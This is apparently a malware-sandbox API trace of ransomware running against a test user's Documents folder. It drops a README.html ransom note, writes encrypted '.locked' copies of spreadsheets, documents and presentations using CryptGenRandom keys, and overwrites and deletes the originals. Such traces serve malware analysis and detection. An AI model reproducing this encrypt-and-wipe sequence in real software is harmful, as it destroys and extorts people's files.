	[0072.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\5uaSR9B ZuPf1BTfff.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\5uasr9b zupf1btfff.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.090] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0072.091] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.107] CloseHandle (hObject=0xc0) returned 1
	[0072.115] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\5uaSR9B ZuPf1BTfff.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\5uasr9b zupf1btfff.odp")) returned 1
	[0072.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8143490, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x63efe690, ftLastAccessTime.dwHighDateTime=0x1d4d1fb, ftLastWriteTime.dwLowDateTime=0x63efe690, ftLastWriteTime.dwHighDateTime=0x1d4d1fb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0072.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0072.125] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8143490, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x63efe690, ftLastAccessTime.dwHighDateTime=0x1d4d1fb, ftLastWriteTime.dwLowDateTime=0x63efe690, ftLastWriteTime.dwHighDateTime=0x1d4d1fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0072.125] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8143490, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x63efe690, ftLastAccessTime.dwHighDateTime=0x1d4d1fb, ftLastWriteTime.dwLowDateTime=0x63efe690, ftLastWriteTime.dwHighDateTime=0x1d4d1fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.125] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d47500, ftCreationTime.dwHighDateTime=0x1d4cb76, ftLastAccessTime.dwLowDateTime=0x5f1c1380, ftLastAccessTime.dwHighDateTime=0x1d4d310, ftLastWriteTime.dwLowDateTime=0x5f1c1380, ftLastWriteTime.dwHighDateTime=0x1d4d310, nFileSizeHigh=0x0, nFileSizeLow=0x2fb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BbPNjGtemOLJJ4CRkVP.xlsx", cAlternateFileName="BBPNJG~1.XLS")) returned 1
	[0072.125] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb388fc80, ftCreationTime.dwHighDateTime=0x1d4d04f, ftLastAccessTime.dwLowDateTime=0x6520bd40, ftLastAccessTime.dwHighDateTime=0x1d4cfbd, ftLastWriteTime.dwLowDateTime=0x6520bd40, ftLastWriteTime.dwHighDateTime=0x1d4cfbd, nFileSizeHigh=0x0, nFileSizeLow=0x5039, dwReserved0=0x0, dwReserved1=0x0, cFileName="bVHjag_I3.docx", cAlternateFileName="BVHJAG~1.DOC")) returned 1
	[0072.125] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6532640, ftCreationTime.dwHighDateTime=0x1d4d1e0, ftLastAccessTime.dwLowDateTime=0x448c3720, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, ftLastWriteTime.dwLowDateTime=0x448c3720, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="rO8WWC0nut8--lGMs4lz.ppt", cAlternateFileName="RO8WWC~1.PPT")) returned 1
	[0072.125] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.125] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0072.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.125] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0072.126] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0072.127] CloseHandle (hObject=0xc0) returned 1
	[0072.127] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee84c*=0x6b) returned 1
	[0072.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\BbPNjGtemOLJJ4CRkVP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bbpnjgtemoljj4crkvp.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d47500, ftCreationTime.dwHighDateTime=0x1d4cb76, ftLastAccessTime.dwLowDateTime=0x5f1c1380, ftLastAccessTime.dwHighDateTime=0x1d4d310, ftLastWriteTime.dwLowDateTime=0x5f1c1380, ftLastWriteTime.dwHighDateTime=0x1d4d310, nFileSizeHigh=0x0, nFileSizeLow=0x2fb9)) returned 1
	[0072.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\BbPNjGtemOLJJ4CRkVP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bbpnjgtemoljj4crkvp.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.129] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\BbPNjGtemOLJJ4CRkVP.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bbpnjgtemoljj4crkvp.xlsx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.129] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.130] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3e0 | out: pbBuffer=0x1238c3e0) returned 1
	[0072.130] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796320 | out: pbBuffer=0x12796320) returned 1
	[0072.130] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0072.130] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0072.132] SetEvent (hEvent=0x8c) returned 1
	[0072.132] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x2fb9, lpOverlapped=0x0) returned 1
	[0072.133] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x2fb9, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x2fb9, lpOverlapped=0x0) returned 1
	[0072.133] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0072.134] CloseHandle (hObject=0xc4) returned 1
	[0072.134] CloseHandle (hObject=0xc0) returned 1
	[0072.134] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0072.135] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.135] SetEvent (hEvent=0x8c) returned 1
	[0072.135] SetEvent (hEvent=0xb4) returned 1
	[0072.135] SetEvent (hEvent=0x80) returned 1
	[0072.135] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.135] SetEvent (hEvent=0x80) returned 1
	[0072.135] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x6e, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee7d8*=0x6e) returned 1
	[0072.137] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\BbPNjGtemOLJJ4CRkVP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bbpnjgtemoljj4crkvp.xlsx")) returned 1
	[0072.155] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.156] SetEvent (hEvent=0xa8) returned 1
	[0072.156] SetEvent (hEvent=0xb4) returned 1
	[0072.160] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.160] SetEvent (hEvent=0xb4) returned 1
	[0072.160] SetEvent (hEvent=0x80) returned 1
	[0072.160] SetEvent (hEvent=0x8c) returned 1
	[0072.160] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.161] SetEvent (hEvent=0x8c) returned 1
	[0072.162] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.163] SetEvent (hEvent=0x8c) returned 1
	[0072.163] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.163] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.163] SetEvent (hEvent=0x8c) returned 1
	[0072.163] SetEvent (hEvent=0x80) returned 1
	[0072.163] SetEvent (hEvent=0xb4) returned 1
	[0072.163] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.164] SetEvent (hEvent=0xb4) returned 1
	[0072.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\BbPNjGtemOLJJ4CRkVP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bbpnjgtemoljj4crkvp.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.165] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0072.165] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.181] CloseHandle (hObject=0xc0) returned 1
	[0072.189] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\BbPNjGtemOLJJ4CRkVP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bbpnjgtemoljj4crkvp.xlsx")) returned 1
	[0072.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\bVHjag_I3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bvhjag_i3.docx"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb388fc80, ftCreationTime.dwHighDateTime=0x1d4d04f, ftLastAccessTime.dwLowDateTime=0x6520bd40, ftLastAccessTime.dwHighDateTime=0x1d4cfbd, ftLastWriteTime.dwLowDateTime=0x6520bd40, ftLastWriteTime.dwHighDateTime=0x1d4cfbd, nFileSizeHigh=0x0, nFileSizeLow=0x5039)) returned 1
	[0072.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\bVHjag_I3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bvhjag_i3.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.198] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\bVHjag_I3.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bvhjag_i3.docx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.199] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.199] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0072.199] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961f0 | out: pbBuffer=0x127961f0) returned 1
	[0072.199] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0072.199] WriteFile (in: hFile=0xc4, lpBuffer=0x1268f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1268f000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0072.201] SetEvent (hEvent=0x80) returned 1
	[0072.201] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x5039, lpOverlapped=0x0) returned 1
	[0072.215] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x5039, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x5039, lpOverlapped=0x0) returned 1
	[0072.216] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0072.216] CloseHandle (hObject=0xc4) returned 1
	[0072.218] CloseHandle (hObject=0xc0) returned 1
	[0072.218] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.219] SetEvent (hEvent=0x80) returned 1
	[0072.219] SetEvent (hEvent=0xb4) returned 1
	[0072.219] SetEvent (hEvent=0x8c) returned 1
	[0072.219] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.219] SetEvent (hEvent=0xa8) returned 1
	[0072.219] SetEvent (hEvent=0x8c) returned 1
	[0072.219] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x64, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x64) returned 1
	[0072.225] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\bVHjag_I3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bvhjag_i3.docx")) returned 1
	[0072.242] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.243] SetEvent (hEvent=0xa8) returned 1
	[0072.243] SetEvent (hEvent=0xb4) returned 1
	[0072.247] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.247] SetEvent (hEvent=0xb4) returned 1
	[0072.247] SetEvent (hEvent=0x8c) returned 1
	[0072.247] SetEvent (hEvent=0x80) returned 1
	[0072.247] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.248] SetEvent (hEvent=0x80) returned 1
	[0072.249] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.249] SetEvent (hEvent=0x80) returned 1
	[0072.250] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.250] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.250] SetEvent (hEvent=0x80) returned 1
	[0072.250] SetEvent (hEvent=0x8c) returned 1
	[0072.250] SetEvent (hEvent=0xb4) returned 1
	[0072.250] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.251] SetEvent (hEvent=0xb4) returned 1
	[0072.251] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\bVHjag_I3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bvhjag_i3.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.252] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0072.252] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0072.279] CloseHandle (hObject=0xc0) returned 1
	[0072.287] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\bVHjag_I3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\bvhjag_i3.docx")) returned 1
	[0072.297] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\rO8WWC0nut8--lGMs4lz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\ro8wwc0nut8--lgms4lz.ppt"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6532640, ftCreationTime.dwHighDateTime=0x1d4d1e0, ftLastAccessTime.dwLowDateTime=0x448c3720, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, ftLastWriteTime.dwLowDateTime=0x448c3720, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0xb93)) returned 1
	[0072.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\rO8WWC0nut8--lGMs4lz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\ro8wwc0nut8--lgms4lz.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.297] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNZcRVrP4ZNbQtfNT_rY\\92_SxvMwhaREWv_iEiv\\rO8WWC0nut8--lGMs4lz.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnzcrvrp4znbqtfnt_ry\\92_sxvmwharewv_ieiv\\ro8wwc0nut8--lgms4lz.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0072.336] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0072.337] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0072.337] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961f0 | out: pbBuffer=0x127961f0) returned 1
	[0072.337] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0072.337] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0072.340] SetEvent (hEvent=0x8c) returned 1
	[0072.340] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xb93, lpOverlapped=0x0) returned 1
	[0072.341] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0xb93, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eeb24*=0xb93, lpOverlapped=0x0) returned 1
	[0072.341] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0072.341] CloseHandle (hObject=0xc4) returned 1
	[0072.342] CloseHandle (hObject=0xc0) returned 1
	[0072.342] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0072.342] SetEvent (hEvent=0x8c) returned 1
	[0072.342] SetEvent (hEvent=0xb4) returned 1
	[0072.342] SetEvent (hEvent=0x80) returned 1
	[0072.342] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.343] SetEvent (hEvent=0x80) returned 1
	[0072.343] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x6e, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x6e) returned 1
